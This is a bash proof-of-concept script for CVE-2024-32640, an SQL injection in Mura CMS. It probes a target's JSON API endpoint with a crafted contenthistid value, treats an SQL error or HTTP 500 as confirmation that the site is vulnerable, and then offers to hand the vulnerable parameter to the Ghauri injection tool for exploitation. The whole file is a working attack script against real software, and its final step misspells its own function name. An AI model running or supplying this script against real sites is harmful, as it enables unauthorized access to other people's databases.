CVE-2024-32640-SQLI-MuraCMS.sh

#!/bin/bash

# ANSI colors
RED='\033[91m'
GREEN='\033[92m'
YELLOW='\033[93m'
PURPLE='\033[95m'
RESET='\033[0m'

banner() {
  echo -e """
                   .;clc:,..                   
              'cx0XKKKK0Oxdl:;'.              
           'oKXKKKKXXXKXKK0Odocc:,.           
         .xXNXKXKKKXKK0XKXKO0dolccc,          
        cNWNNNN0KKN00kXOXKKkKdOldccc:.        
      .xNNXXXN0NkWX0KONON0KxNx0oxkcclc.   ... 
    .cONNKK0XkNkONkkk0K0N0kxXo0dxkk:llc ....  
    ,kX0O0kKoX0cXkcO:KkKNOoO0ooxxoOl:c' ....  
   :xxOOKxXddXd:Xc:dcKl0KdcOcx:xdold:c. ...   
      lKOxOldO:okco:ox;kxcdc:o,dlx;o:c' ...   
     :KOxdk::c,,.'lc0o:lo:c::c,lco;:cc;. ..   
     kc'klkl;cdkl:;oOdc;c;;',,c:c:;;c:,;.     
    .  ,':oOodXNNNNNNXkKx:...l,',;,c:,:'.     
        ;c:;cl0WWWWWWWNXNXK00xl:c'c:;' :      
       ..:c::xXWXWWWWNx0NNXXKxo,: ;:.         
       .:ccc::0WN0NWWNXXNXXKko;'              
            . ;dXNKXK00XK0xl..:;'.            
              .dlxKX0Oxc;',x0XXX0Od.          
              .',,,,,..  dNWWWWNX0ko          
           .:kNOc ....:.oWWMMMWWNKOx.         
  ,cdxxkO0KNKK0d.cdxOXc,XWWWMMMWNXOxc         
oWMMMMMMWWNNNXd.lKNNNo;cWWWKWMWWNX0xo         
cKMMWMMMWWNNXk.,KNWK::;:NNNkNWWWNX0kd.


              ${YELLOW}CVE-2024-32640.sh - SQL Injection in Mura CMS
                   ${PURPLE}Developer: @Helltakerc3rb${RESET}
  """
}

is_alive() {
  response=$(curl -s -o /dev/null -w "%{http_code}" -k "$1")
  if [[ $response -eq 200 ]]; then
    return 0
  else
    echo -e "${RED}[-]${RESET} Target is not alive"
    return 1
  fi
}

injection() {
  local url="$1$2"
  local sql_error="You have an error in your SQL syntax"
  local response=$(curl -s -k -X POST -H "Content-Type: application/x-www-form-urlencoded" -H "Host: $(echo "$1" | awk -F/ '{print $3}')" -d "object=displayregion&contenthistid=x%5c&previewid=1" "$url")
  
  echo -e "${YELLOW}[!]${RESET} Checking for SQL Injection"
  if [[ "$response" == *"$sql_error"* || $(curl -s -o /dev/null -w "%{http_code}" -k -X POST -d "object=displayregion&contenthistid=x%5c&previewid=1" "$url") -eq 500 ]]; then
    echo -e "${GREEN}[+]${RESET} Target is vulnerable to SQL Injection.\n"
    echo -e "${YELLOW}[!]${RESET} For exploitation, use Ghauri:"
    echo -e "${GREEN}[+]${RESET} https://github.com/r0oth3x49/ghauri"
  else
    echo -e "${RED}[-]${RESET} Target is not vulnerable"
    exit 1
  fi
}

ghauri_exploit() {
  echo -e "\n${YELLOW}[!]${RESET} Checking existence of Ghauri"
  if ! command -v ghauri &> /dev/null; then
    echo -e "${RED}[-]${RESET} Ghauri not installed or found in \$PATH"
    exit 1
  else
    echo -e "${GREEN}[+]${RESET} Ghauri located!"
    echo -e "${GREEN}[*]${RESET} Starting Ghauri"
    ghauri -u "$1$2" -p "contenthistid" "${@:3}"
  fi
}

main() {
  banner

  while [[ "$#" -gt 0 ]]; do
    case $1 in
      -u|--url) url="$2"; shift ;;
      -g|--ghauri) ghauri_params="${@:2}"; shift $# ;;
      *) echo "Unknown parameter: $1"; exit 1 ;;
    esac
    shift
  done

  if [[ -z "$url" ]]; then
    echo "Usage: $0 -u URL [-g Ghauri parameters]"
    exit 1
  fi

  endpoint="/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x"
  if is_alive "$url"; then
    injection "$url" "$endpoint"
    read -p "Do you want to exploit with Ghauri? (Y/N) " answer
    if [[ "${answer,,}" == "y" ]]; then
      ghouri_exploit "$url" "$endpoint" "$ghauri_params"
    fi
  fi
}

main "$@"












































#Helltakerc3rb